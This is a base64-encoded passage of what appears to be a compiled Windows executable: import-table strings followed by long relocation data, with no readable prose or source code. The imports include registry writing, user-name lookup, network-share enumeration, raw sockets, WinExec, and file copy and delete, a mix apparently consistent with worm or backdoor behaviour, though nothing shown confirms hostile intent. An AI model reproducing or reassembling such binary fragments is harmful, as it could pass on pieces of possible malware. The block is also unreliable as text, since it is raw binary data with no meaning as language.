AAAAALr9AQBE8wEAAAAAAAAAAAAAAAAA5v0BAFDzAQAAAAAAAAAAAAAAAADQ/wEAxPMBAAAA AAAAAAAAAAAAAIIAAgD48wEAAAAAAAAAAAAAAAAAngACAAD0AQAAAAAAAAAAAAAAAACGAQIA SPQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAXvQBAHT0AQCM9AEApPQBALz0AQDY9AEA5vQBAPb0 AQAC9QEAEPUBACD1AQA29QEATPUBAFj1AQBk9QEAcPUBAIL1AQCU9QEApvUBALj1AQDM9QEA 4vUBAPT1AQAE9gEAFvYBACT2AQA29gEAQvYBAFD2AQBc9gEAePYBAIr2AQCa9gEApvYBALL2 AQDE9gEA1PYBAOL2AQDy9gEAAPcBAA73AQAAAAAAKPcBADr3AQBI9wEAVvcBAAAAAABw9wEA hPcBAJT3AQAAAAAAsPcBAMb3AQDY9wEA6PcBAPj3AQAI+AEAHvgBAAAAAABA+AEATvgBAFz4 AQBq+AEAfvgBAAAAAACi+AEAtPgBAMj4AQDY+AEA5vgBAPj4AQAG+QEAAAAAACT5AQAw+QEA OvkBAFD5AQBg+QEAdPkBAHz5AQCQ+QEApPkBALb5AQDM+QEA3PkBAPD5AQD8+QEABvoBABb6 AQAu+gEASvoBAFr6AQBq+gEAevoBAIj6AQCW+gEAqPoBALz6AQDK+gEA3PoBAPT6AQAE+wEA HPsBADb7AQBI+wEAWPsBAG77AQCC+wEAlPsBAKj7AQC++wEA0PsBAOD7AQDw+wEABPwBABb8 AQAs/AEAQPwBAFb8AQBq/AEAgvwBAJb8AQCi/AEArPwBAL78AQDO/AEA4PwBAOz8AQAG/QEA Hv0BADL9AQBK/QEAWP0BAHD9AQB+/QEAjv0BAJr9AQCs/QEAAAAAAML9AQDS/QEAAAAAAPD9 AQAC/gEAEP4BACD+AQAq/gEANv4BAET+AQBU/gEAZP4BAHb+AQCC/gEAlP4BAK7+AQDA/gEA zv4BAN7+AQDq/gEAAv8BABL/AQAi/wEALv8BAEL/AQBS/wEAaP8BAHr/AQCQ/wEAqv8BAMD/ AQAAAAAA3P8BAOj/AQD2/wEABAACABAAAgAkAAIAMgACAEAAAgBIAAIAVgACAGYAAgB0AAIA AAAAAI4AAgAAAAAAqgACALgAAgDKAAIA2AACAOgAAgD8AAIADAECABYBAgAeAQIAKAECADAB AgA+AQIASgECAFIBAgBgAQIAbgECAHgBAgAAAAAAkgECAAAAAABrZXJuZWwzMi5kbGwAAAAA R2V0Q3VycmVudFRocmVhZElkAAAAAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgAAAExlYXZlQ3Jp dGljYWxTZWN0aW9uAAAAAEVudGVyQ3JpdGljYWxTZWN0aW9uAAAAAEluaXRpYWxpemVDcml0 aWNhbFNlY3Rpb24AAABWaXJ0dWFsRnJlZQAAAFZpcnR1YWxBbGxvYwAAAABMb2NhbEZyZWUA AABMb2NhbEFsbG9jAAAAAFZpcnR1YWxRdWVyeQAAAABXaWRlQ2hhclRvTXVsdGlCeXRlAAAA TXVsdGlCeXRlVG9XaWRlQ2hhcgAAAGxzdHJsZW5BAAAAAGxzdHJjcHluQQAAAGxzdHJjcHlB AAAAAExvYWRMaWJyYXJ5RXhBAAAAAEdldFRocmVhZExvY2FsZQAAAEdldFN0YXJ0dXBJbmZv QQAAAEdldFByb2NBZGRyZXNzAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmls ZU5hbWVBAAAAAEdldExvY2FsZUluZm9BAAAAAEdldExhc3RFcnJvcgAAAABHZXRDb21tYW5k TGluZUEAAABGcmVlTGlicmFyeQAAAEZpbmRGaXJzdEZpbGVBAAAAAEZpbmRDbG9zZQAAAEV4 aXRQcm9jZXNzAAAAV3JpdGVGaWxlAAAAVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAAAAFNl dEZpbGVQb2ludGVyAAAAAFNldEVuZE9mRmlsZQAAAABSdGxVbndpbmQAAABSZWFkRmlsZQAA AABSYWlzZUV4Y2VwdGlvbgAAAABHZXRTdGRIYW5kbGUAAAAAR2V0RmlsZVNpemUAAABHZXRT eXN0ZW1UaW1lAAAAR2V0RmlsZVR5cGUAAABDcmVhdGVGaWxlQQAAAENsb3NlSGFuZGxlAHVz ZXIzMi5kbGwAAAAAR2V0S2V5Ym9hcmRUeXBlAAAATG9hZFN0cmluZ0EAAABNZXNzYWdlQm94 QQAAAENoYXJOZXh0QQBhZHZhcGkzMi5kbGwAAAAAUmVnUXVlcnlWYWx1ZUV4QQAAAABSZWdP cGVuS2V5RXhBAAAAUmVnQ2xvc2VLZXkAb2xlYXV0MzIuZGxsAAAAAFZhcmlhbnRDaGFuZ2VU eXBlRXgAAABWYXJpYW50Q29weUluZAAAAABWYXJpYW50Q2xlYXIAAAAAU3lzU3RyaW5nTGVu AAAAAFN5c0ZyZWVTdHJpbmcAAABTeXNSZUFsbG9jU3RyaW5nTGVuAAAAU3lzQWxsb2NTdHJp bmdMZW4Aa2VybmVsMzIuZGxsAAAAAFRsc1NldFZhbHVlAAAAVGxzR2V0VmFsdWUAAABMb2Nh bEFsbG9jAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAABhZHZh cGkzMi5kbGwAAAAAUmVnU2V0VmFsdWVFeEEAAAAAUmVnUXVlcnlWYWx1ZUV4QQAAAABSZWdP cGVuS2V5RXhBAAAAUmVnRmx1c2hLZXkAAABSZWdDcmVhdGVLZXlFeEEAAABSZWdDbG9zZUtl eQAAAEdldFVzZXJOYW1lQQAAa2VybmVsMzIuZGxsAAAAAFdyaXRlRmlsZQAAAFdpbkV4ZWMA AABXYWl0Rm9yU2luZ2xlT2JqZWN0AAAAVmlydHVhbFF1ZXJ5AAAAAFZlckxhbmd1YWdlTmFt ZUEAAAAAU2xlZXAAAABTZXRUaHJlYWRQcmlvcml0eQAAAFNldFByaW9yaXR5Q2xhc3MAAAAA U2V0RmlsZVBvaW50ZXIAAAAAU2V0RmlsZUF0dHJpYnV0ZXNBAAAAAFNldEVuZE9mRmlsZQAA AABSZW1vdmVEaXJlY3RvcnlBAAAAAFJlYWRGaWxlAAAAAE11bERpdgAAAABMb2FkTGlicmFy eUEAAAAATGVhdmVDcml0aWNhbFNlY3Rpb24AAAAASW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlv bgAAAEdsb2JhbFVubG9jawAAAABHbG9iYWxSZUFsbG9jAAAAR2xvYmFsSGFuZGxlAAAAAEds b2JhbExvY2sAAAAAR2xvYmFsRnJlZQAAAABHbG9iYWxGaW5kQXRvbUEAAABHbG9iYWxEZWxl dGVBdG9tAAAAAEdsb2JhbEFsbG9jAAAAR2xvYmFsQWRkQXRvbUEAAAAAR2V0V2luZG93c0Rp cmVjdG9yeUEAAAAAR2V0VmVyc2lvbkV4QQAAAEdldFVzZXJEZWZhdWx0TGFuZ0lEAAAAAEdl dFRpbWVab25lSW5mb3JtYXRpb24AAAAAR2V0VGhyZWFkTG9jYWxlAAAAR2V0VGVtcFBhdGhB AAAAAEdldFN5c3RlbURpcmVjdG9yeUEAAABHZXRTaG9ydFBhdGhOYW1lQQAAAEdldFByb2NB ZGRyZXNzAAAAAEdldE1vZHVsZUhhbmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAAAAAEdl dExvY2FsZUluZm9BAAAAAEdldExvY2FsVGltZQAAAABHZXRMYXN0RXJyb3IAAAAAR2V0RGlz a0ZyZWVTcGFjZUEAAABHZXREYXRlRm9ybWF0QQAAAABHZXRDdXJyZW50VGhyZWFkSWQAAAAA R2V0Q3VycmVudFRocmVhZAAAAABHZXRDdXJyZW50UHJvY2Vzc0lkAAAAR2V0Q3VycmVudFBy b2Nlc3MAAABHZXRDdXJyZW50RGlyZWN0b3J5QQAAAABHZXRDb21wdXRlck5hbWVBAAAAAEdl dENQSW5mbwAAAEdldEFDUAAAAABGb3JtYXRNZXNzYWdlQQAAAABGaW5kTmV4dEZpbGVBAAAA RmluZEZpcnN0RmlsZUEAAAAARmluZENsb3NlAAAARmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUA AABGaWxlVGltZVRvRG9zRGF0ZVRpbWUAAABFbnVtQ2FsZW5kYXJJbmZvQQAAAEVudGVyQ3Jp dGljYWxTZWN0aW9uAAAAAERlbGV0ZUZpbGVBAAAARGVsZXRlQ3JpdGljYWxTZWN0aW9uAAAA Q3JlYXRlRmlsZUEAAABDcmVhdGVFdmVudEEAAAAAQ29weUZpbGVBAAAAQ29tcGFyZVN0cmlu Z0EAAAAAQ2xvc2VIYW5kbGUAbXByLmRsbAAAAFdOZXRPcGVuRW51bUEAAABXTmV0RW51bVJl c291cmNlQQBnZGkzMi5kbGwAAABVbnJlYWxpemVPYmplY3QAAABTdHJldGNoQmx0AAAAAFNl dFRleHRDb2xvcgAAAABTZXRST1AyAAAAU2V0QmtNb2RlAAAAU2V0QmtDb2xvcgAAAABTZWxl Y3RQYWxldHRlAAAAU2VsZWN0T2JqZWN0AAAAAFJlYWxpemVQYWxldHRlAAAAAE1vdmVUb0V4 AAAAAEdldFRleHRNZXRyaWNzQQAAAEdldFN5c3RlbVBhbGV0dGVFbnRyaWVzAAAAR2V0U3Rv Y2tPYmplY3QAAAAAR2V0T2JqZWN0QQAAAABHZXREZXZpY2VDYXBzAAAAR2V0RElCaXRzAAAA R2V0Q3VycmVudFBvc2l0aW9uRXgAAAAAR2V0Qml0bWFwQml0cwAAAERlbGV0ZU9iamVjdAAA AABEZWxldGVEQwAAAABDcmVhdGVQZW5JbmRpcmVjdAAAAENyZWF0ZVBhbGV0dGUAAABDcmVh dGVGb250SW5kaXJlY3RBAAAAQ3JlYXRlRElCaXRtYXAAAAAAQ3JlYXRlQ29tcGF0aWJsZURD AAAAAENyZWF0ZUNvbXBhdGlibGVCaXRtYXAAAAAAQ3JlYXRlQnJ1c2hJbmRpcmVjdAAAAENy ZWF0ZUJpdG1hcAAAdXNlcjMyLmRsbAAAAABSZWxlYXNlREMAAABNZXNzYWdlQm94QQAAAExv YWRTdHJpbmdBAAAATG9hZEljb25BAAAAR2V0U3lzdGVtTWV0cmljcwAAAABHZXRTeXNDb2xv cgAAAEdldEljb25JbmZvAAAAR2V0REMAAABEcmF3SWNvbkV4AAAAAERlc3Ryb3lXaW5kb3cA AABEZXN0cm95SWNvbgAAAENyZWF0ZUljb24AAHNoZWxsMzIuZGxsAAAARXh0cmFjdEljb25B AAB3c29jazMyLmRsbAAAAFdTQVN0YXJ0dXAAAAAAV1NBR2V0TGFzdEVycm9yAAAAZ2V0aG9z dG5hbWUAAABnZXRzZXJ2YnluYW1lAAAAZ2V0cHJvdG9ieW51bWJlcgAAAABnZXRob3N0Ynlu YW1lAAAAc29ja2V0AAAAAHNlbmQAAAAAc2VsZWN0AAAAAHJlY3YAAAAAaW9jdGxzb2NrZXQA AABpbmV0X2FkZHIAAABodG9ucwAAAGdldHNvY2tuYW1lAAAAZ2V0cGVlcm5hbWUAAABjb25u ZWN0AAAAY2xvc2Vzb2NrZXQAd2luaW5ldC5kbGwAAABJbnRlcm5ldEdldENvbm5lY3RlZFN0 YXRlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEIADBBCAMzkQQAQIEIAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAQAABIAQAAADAMMCwwODA8MEAwRDBIMEwwUDBUMGAwbTCAMK4wtjC+MMYwzjDWMN4w 5jDuMPYw/jAGMQ4xFjEeMSYxLjE2MT4xRjFOMVYxXjFmMW4xdjF+MYYxjjGWMZ4xpjGuMbYx vjHGMc4x1jHeMeYx7jH2Mf4xBjIOMjoyQjJKMlIyWjJiMmoycjJ7MpwypDIMMxMzWzTSNCE1 ZzV6NfA1NDZ1Nqk2tTbQNmM3sjjuOAs5FjkhOSk5Mzk9OUc5XTljOXE5hDmOOZQ5ojmoObA5 wjnOOd056TnxOfw5AjoPOhU6Lzo2OkA6SjpUOmA6azp8OoI6ijqUOqs6tjrXOu86DjsmOy47 bjuEO9M78zsRPCM9MD1jPWk9gj2LPZQ9nz2oPa89vj3FPec9QD5IPs0+6z7wPvY+Yj9oP3g/ gT/GP88/5T8AIAAA1AAAAAMwDzAXMEowdDCOMLgwwTDRMNkw3zDoMO8w9DD6MA0xFjE0MTox QjFsMXIxhDGcMagxsDHHMdYx5jEGMh4yQjJKMlAyVjKIMqwyyjLaMuAy6DJCM00zVjNcM2wz dTPGM80z3TPnM+0z9TP7MwE0CDQSNLk04TT/NAs1EzVtNXM1ezWeNbY11zXwNQk2HTYrNvM3 /jcHOPY4ATlSOpE6oTq3OtU66zoCOxc7UTv3PE49aj2ePdI9+j0YPls+iD6RPsM+zD4BPyk/ dz+7PwAwAABcAAAADzE3MVUxdzGoMbExvDHnMfwxRzJaMm4yojKqMrAyuTLEMg8zFDMtMzgz QDNLM10zYzNpM4IzlTOaM58zwTPPM9cz3DPuM/gz/TMLNLI0vjTvOAAAAEAAAFwAAABUMJww 2jA3MUYxXzHUMvQyOzNZMzo2hjaWNkk4Zzh9OMA41jgzOj06SDpYOl86sTrCOgI7CTsbOzk7 QjtOO1U7Djy6POM86jzxPLA96z06Pq0/AAAAUAAAzAEAAEIwSTBaMGYwvTARMYAxsjEQMksy 2DLwMgEzHDM0M0UzTjMfOCs4Mjg8OEs4VThfOHE4hziTOKE4qDivOLU4vDjDOMs41DjdOOU4 7zjzOPk4/TgDOQc5HzkkOS45MzlCOUw5VjljOXo5gjmKOZI5mjmsOd056TnyOfg5EjojOkY6 WzpkOmk6bjqJOpA6uzrHOtQ65jruOvY6/joGOw47FjseOyY7Ljs2Oz47RjtOO1Y7XjtmO247 djt+O4Y7jjuWO547pjuuO7Y7vjvGO8471jveO+Y77jv2O/47BjwOPBY8HjwmPC48Njw+PEY8 TjxWPF48ZjxuPHY8fjyGPI48ljyePKY8rjy2PL48xjzOPNY83jzmPO489jz+PAY9Dj0WPR49 Jj0uPTY9Pj1GPU49Vj1ePWY9bj12PX49hj2OPZY9nj2mPa49tj2+PcY9zj3WPd495j3uPfY9 /j0GPg4+Fj4ePiY+Lj42Pj4+Rj5OPlY+Xj5mPm4+dj7DPs8+3D7uPvQ+/D4EPww/FD8cPyQ/ LD80Pzw/RD9MP1Q/XD9kP2w/dD98P4Q/jD+UP5w/pD+sP7Q/vD/EP8w/1D/cP+Q/7D/0P/w/ AGAAAAwDAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQw vDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMZMx nzGsMb4xxDHUMewx9DEAMhQyHDIgMiQyKDIsMjAyNDI4MjwySjJcMnwyhDKIMowykDKUMpgy nDKgMqQyuDLYMuAy5DLoMuwy8DL0Mvgy/DIAMxQzNDM8M0AzRDNIM0wzUDNUM1gzXDNsM4wz lDOYM5wzoDOkM6gzrDOwM7QzxDPkM+wz8DP0M/gz/DMANAQ0CDQMNCQ0RDRMNFA0VDRYNFw0 YDRkNGg0bDR8NJw0pDSoNKw0sDS0NLg0vDTANMQ01DT0NPw0ADUENQg1DDUQNRQ1GDUcNSw1 TDVUNVg1XDVgNWQ1aDVsNXA1dDWINag1sDW0Nbg1vDXANcQ1yDXMNdA14DUANgg2DDYQNhQ2 GDYcNiA2JDYoNjg2WDZgNmQ2aDZsNnA2dDZ4Nnw2gDaQNrA2uDa8NsA2xDbINsw20DbUNtg2 6DYINxA3FDcYNxw3IDckNyg3LDcwN0A3YDdoN2w3cDd0N3g3fDeAN4Q3iDecN7w3xDfIN8w3 0DfUN9g33DfgN+Q3+DcYOCA4JDgoOCw4MDg0ODg4PDhAOFQ4dDh8OIA4hDiIOIw4kDiUOJg4 nDi0ONQ43DjgOOQ46DjsOPA49Dj4OPw4DDksOTQ5ODk8OUA5RDlIOUw5UDlUOWg5iDmQOZQ5 mDmcOaA5pDmoOaw5sDnAOeA56DnsOfA59Dn4Ofw5ADoEOgg6HDo8OkQ6SDpMOlA6VDpYOlw6 YDpkOnw6nDqkOqg6rDqwOrQ6uDq8OsA6xDrYOvg6ADsEOwg7DDsQOxQ7GDscOyA7NDtUO1w7 YDtkO2g7bDtwO3Q7eDt8O4w7rDu0O7g7vDvAO8Q7yDvMO9A71Dv4Oxw8KDw8PEQ8SDxMPFA8 VDxYPFw8YDxkPHI8xDzmPAI9GT1kP9I/AHAAAGAAAAABMDgwjjCZMD0zSjOOM8Iz9jP3NM42 TjhSOFY4WjheOGI4ZjhqOG44cjh2OHo4fjiCOIY4ijiOOJI47zn2Oa86EjwsPDY8mzzQPPY8 ED3vPag+yT7jPv0/AIAAAKwAAABrMVIyiDLaMgozbjO4M/MzAjRxNL80EDVlNWw1qTWtNbE1 tTW5Nb01wTXFNck1zTXRNdU12TXdNeE15TXONug2QzdnN3s3jzfANwI4FzgsOA45IjluOas5 6DkIOhk6MTphOnU6pTrbOgo7HjsyO0g7ZjvXO0w8rj3GPcs91z36PSc+LD5GPms+nT7XPuE+ Bz8jP0I/VD9+P5I/wz/SP+w//j8AAACQAADsAAAAODBYMIEw7TAYMTExPjFXMWYxfzGaMdQx pzLnMuwy9DIeMy8zODPtM/szGDQhNKo02TRoNaI16DX/NSE2LzY2Nk42VTZoNoA2nDajNqw2 5zYFNzA3PzdTN7Y3vTddOJA4qji5OHU5hznROeM59zlDOm86pDqzOsI63joXOyU7NDs+O0Y7 VTtfO2Q7ajtvO3U7ejuAO4c7jTuSO5g7nTujO6g7rju7O9k74jvuO/M7/DsIPA08FjwfPCg8 MTw6PGA8aTxyPHs8gDy6PNo8BD0ePTw9lD2zPfs9Ij5gPsg+cD95PwAAAKAAAKgBAAA0MEow czCBMJwwpTDAMNMw5jDvMAoxHTEmMUUxUzFyMYoxkzGnMbUxyTHnMQkyGDImMkkyazJ6Mooy kjKnMq8yzDLZMqgz4DPnM/Qz+zMVNEI0YjRyNH00gzSLNJA0/DQANgQ2CDYMNhA2FDYYNhw2 IDYkNig2LDYwNjQ2ODY8NkA2RDZINkw2UDZUNlg2XDZgNmQ2aDZsNnA2dDZ4Nnw2gDaENog2 jDaQNpQ2mDacNqA2pDaoNqw2sDa0Nrg2vDbANsQ2yDbMNtA21DbYNtw24DbkNuw28Db4Nvw2 BDcINxA3FDccNyA3KDcsNzQ3ODdAN0Q3TDdQN1g3XDdkN2g3cDd0N3w3gDeIN4w3lDeYN6A3 pDesN7A3uDe8N8Q3yDfQN9Q33DfgN+g37Df0N/g3ADgEOAw4EDgYOBw4JDgoODA4NDg8OEA4 SDhMOFQ4WDhgOGQ4bDhwOHg4fDiEOIg4kDiUOJw4oDioOKw4tDi4OMA4xDhROX05jzmTOZc5 mzmfOdg5+zkkOm46yTrXOvU6BjsaO0s7Zz6IPhU/Kj8AAACwAABoAwAAHzCoMM0wUzGbMacx sjHGMdEx2zHmMfAx+jEFMg8yGjIkMi8yOTJEMk4yWTJjMm0ydzKBMosylTKfMqkyszLFMtsy 5zLvMvkyBDMMMxEzNzNbM2czdDOGM5MznzOsM74zxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0 JDQsNDQ0PDRENEw0VDRcNGQ0bDR7NIc0lDSmNN806zTyNPw0BzUZNSo1MDVQNVg1XDVgNWQ1 aDVsNXA1dDV4NYw1rDW0Nbg1vDXANcQ1yDXMNdA11DXoNQg2EDYUNhg2HDYgNiQ2KDYsNjA2 QDZgNmg2bDZwNnQ2eDZ8NoA2hDaINpg2uDbANsQ2yDbMNtA21DbYNtw24DbwNhA3GDccNyA3 JDcoNyw3MDc0Nzg3SDdoN3A3dDd4N3w3gDeEN4g3jDeQN6A3wDfIN8w30DfUN9g33DfgN+Q3 6DcAOCA4KDgsODA4NDg4ODw4QDhEOEg4XDh8OIQ4iDiMOJA4lDiYOJw4oDikOLw43DjkOOg4 7DjwOPQ4+Dj8OAA5BDkIOQw5EDkUOSA5QDlIOUw5UDlUOVg5XDlgOWQ5aDl4OYg5lDmYOaA5 pDmoOaw5sDm0Obg5vDnAOcQ5yDnMOdY52jnsOf05AToUOik6SDpUOlg6aDpwOnQ6eDp8OoA6 hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw6 8Dr0Ovg6/DoAOw47IDsuOzI7RDtdO2g7eDuIO5A7lDuYO5w7oDukO6g7rDuwO7Q7uDu8O8A7 xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPCw8 MDw0PEQ8VTxZPGw8jDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzEPNA88Dz4PPw8AD0EPQg9 DD0QPRQ9GD0cPSA9JD0oPTw9XD1kPWg9bD1wPXQ9eD18PYA9hD2IPYw9kD2UPaQ9xD3MPdA9 1D3YPdw94D3kPeg97D3wPfQ9+D38PRQ+ND48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+ hD6gPrQ+wz4EPx4/OT9RP1Y/cD+QP5g/nD+gP6Q/qD+sP7A/tD+4PwAAAMAAAJAAAAAQMBww LjGkMccx4THzMR0yvTL6Mn8zyTP1Mz40ezSXNNo0+jR4Nac16zXyNQk2VTapNsQ2gDeWN+U3 AjguOEc4bDjDOBI5GzkpOXs54zkwOlY6fzq4Os46RTtiO5w7yDv/O6k85DwsPYg9mj23PeY9 /D1EPmE+lT6vPvM+ED91P5M/0j/3PwAAANAAAIAAAAAfMDEwTjB3MKgwCzEyMWExdzHWMfMx KDJ5MsgyJDOYM8kz5TMwNEg0FDVNNeE1+TWRNqk27DbtN6I4qTjaOOE4hTmMOb45xTkMOx47 OzvjO/c7DzwWPI08mTyoPAg9DT00PTw9Sz2QPZU9tD3FPYE+iD5sP48/AAAA4AAAeAEAAL4w 3zDjMOcw6zDvMPMw9zD7MP8wAzEHMQsxDzETMRcxGzEfMSMxJzErMS8x/DEgMkQyQjNKM1cz YzNyM6IzpzO5M9cz4zPuM/gzBzQRNCQ0MDRKNFY0WzRlNHc0ijSSNJw0qDSyNLk0wzTKNNQ0 2zTlNOw09jQbNSc1LjU5NUs1XjVkNYQ1jDWQNZQ1mDWcNaA1pDWoNaw1xDXQNeQ17DXwNfQ1 +DX8NQA2BDYINgw2GjY/NkY24DeWOMA4UTpYOrM6ujoTOx87JjsxO0M7VjteO2s7dzuEO5Y7 0zvXO9s73zvjO+c76zvvO/M79zv7O/87AzwHPAs8DzwTPBc8GzwfPCM8KTw8PE88Yjx1PIg8 mzyuPME81DznPPo8DT0gPTM9Rj1ZPWw9fz2SPcs9hD4SPxY/Gj8ePyI/Jj8qPy4/Mj82Pzo/ Pj9CP0Y/Sj9OP1I/Vj9aP14/Yj9pP3c/hT+TP6E/rz+9P8s/2T/nP/U/APAAAPQAAAADMBEw HzAtMDswSTBXMGUwczBZMhozTzNbM2gzejPWMww0IDRVNHU06zSxNeU1WzZnNnQ2hjbONtY2 3jbmNu429jb+NgY3DjcWNx43JjcuNzY3PjdGN043WzdnN3Q3hjeMN5g3rDe0N7g3vDfAN8Q3 yDfMN9A31DfiN/g3BDgYOCA4JDgoOCw4MDg0ODg4PDhAOEQ4SDhMOFA4VDhYOFw4YDhkOHI4 iDioOLA4tDi4OLw4wDjEOMg4zDjQONQ42DjcOOA45DjoOOw48Dj0OLo5HzpoOvc6QTv+Oz48 Hz3YPXY+vj6vP+s/8j8AAAAAAQAMAQAAHjCFMMgw2jC7MU8yUzJXMlsyXzJjMngyfDKAMoQy iDKMMpAylDKYMpwyoDKkMqgyyjLOMtIy1jLaMt4y4jLmMuoy7jLyMvYy+jIcMyAzJDMoMywz MDM0MzgzPDNAM0QzSDNMM1AzVDNYM1wzYDNkM2gzbDNwM3QzeDN8M4AzxjPXM+gz+TMKNBs0 LDQ9NE40XzRwNIE0kjSjNLQ0xTTWNOc0+DQJNRo1KzU8NU01XjVvNYA1kTWiNbM1xDXVNeY1 9zUINhk2KjY7Nkw2XTZuNn82kDahNrI2wDbONtw26jb4NgY3EjckNz03Xz5rPng+ij67Psc+ 1D7mPh4/XT9rP8I/4T8AEAEA1AAAACsxPjFLMVYxXjFzMYgxkDHAMcgx+zEOMi4ySjJvMoUy mDINM1wzpTPqMyc0NTRFNG80xDToNAU1IjU/NVw1kDXnNfM1+jUFNg82GjYsNj42RDZQNmQ2 bDZwNnQ2eDZ8NoA2hDaINow2mjaiNqo2sja6NsI2yjZWOGU45TjyOBY56jnHOtY65Tr0Ogo7 NztGO1U7ZDt/O687tzvfO+c77zsGPCI8Mzw7PFU8XTxlPH08nDy5PHU+lD7CPvY+Cz8dP40/ tT/JP90/9j8AAAAgAQDsAAAAcDDMMPQwBzEPMSkxnDG+MdMxATJXMnYyqzLjMhYzKTMxM0oz mTO1M8wz5TNDNE80VjRhNHM0hjTENN005TTtNPg0BDUYNSA1JDUoNSw1MDU0NTg1PDVANU41 fjWNNZw1CjYwNlo2aTZ2No42sTYkN303kTedN6U3yjdWOKc42zjyOAI5GzkuOT45dDmROSA6 Kzo6Okk6cjqgOs46GztJO2g7hzyTPKA8sjy4PMQ82DzgPOQ86DzsPPA89Dz4PPw8AD0OPRY9 Rz1mPeA9VT5vPrA+vT7kPvk+LT+AP84/2z/jP+g/ADABAHABAAAdMIowlzCfMKQw2TBCMVEx rjG7MdkxADKDMpQypDImM0MzbzN7M4gzmjOgM7gz2DPgM+Qz6DPsM/Az9DP4M/wzADQUNDQ0 PDRANEQ0SDRMNFA0VDRYNFw0fDSYNKg0tDS4NMA0xDTINMw00DTUNNg03DTgNOQ06DTsNPA0 9DT4NPw0ADUENQg1DDUQNRQ1GDUcNSA1JDUoNSw1MDU0NTg1PDVANUg1WDVmNWo1fDWcNaQ1 qDWsNbA1tDW4Nbw1wDXENcg13DX8NQQ2CDYMNhA2FDYYNhw2IDYkNig2ODZINlg2YDZkNmg2 bDZwNnQ2eDZ8NoA2hDaINow2kDaUNpg2nDagNqQ2qDasNrA2tDa4Nrw2wDbENsg2zDbQNtQ2 2DbcNuA27Db3Nvs2DDcsNzQ3ODc8N0A3RDdIN0w3UDdUN087XzsjPTM9WD12PYM9DT4ePpI+ lz63PgY/Ez8xP2c/bD+qP7c/AAAAQAEAfAAAAE4wUzB8MIkwqzDUMOEwCTEOMTUxQjFYMaAx sTG9Mcwx2zFVMnEyeDIEM5gzsDPBM80z4TPvM/4zFTRCNJo0uDQRNV81kTUbNrI2ZTfxNzI4 VDjpOA45LDkVOnU6wTp4OxI8ZzyMPKw8zzxmPrI+OT97PwAAAFABAPQAAACOMM8wYTHHMV0y bTKEMpQy7zIMM0AzUjNvM8sz3TP6Mzs0SzSCNJ00wzTINAE1VTVnNQ82fzbbNqE3AjgSOCU4 oDiwOFg5aDniOf45ODpMOm86fDqLOqk63jrtOvI6CjsPOx07LDsyO0w7bDt0O3g7fDuAO4Q7 iDuMO5A7lDtEPGI8ozyvPLo8xDzOPN085zzxPPs8BT0PPRo9JD0uPTk9Qz1OPWA9cj2DPY09 nj2qPbY9xz3XPeE97D32PQE+Cz4SPhw+Iz4tPjQ+Pj5DPkg+TT5XPlw+YT5uPns+hz6UPqY+ 4T72Poo/1T8AAABgAQDMAAAAcjC+MNAw1DDYMNww4DDkMOgw7DBSMZwx6zEqMrwyBjMcM2Iz ejO9M9MzFzQlNFM06DT+NAM1CDVrNZo12jXqNf81DzYVNiw2QjZUNmY2fDalNuw2BjcWNyY3 NjduN4039zcVOGs4VDl1ObI55zlOOm86jTrwOkw7kDsrPHY8iTyOPJM8uDzSPNc83zwaPTA9 NT06PVU9cD11PZA9qz2wPdg9CT4WPiM+PD5NPno+iz6pPsI+0z7uPgc/GD85P0g/fj8AAABw AQC4AAAAMTFKMaUxDDIaMicyNDJBMlwybDKBMrMyCDRJNIk02DTgNPo0ijW9Nck1zjUANg02 fDb8Nh83VzdkN4M33jfwN/03BzgrODo4aDisOMk4+ziCOY85rzm/OfA5AjqbOto68DqYO7Q7 DDwYPDk8TTxvPMI8zTwCPTI9OD1JPVw96T30PSU+Mj5APkU+VD5ePnk+qT6vPsA+0z5DP1Y/ 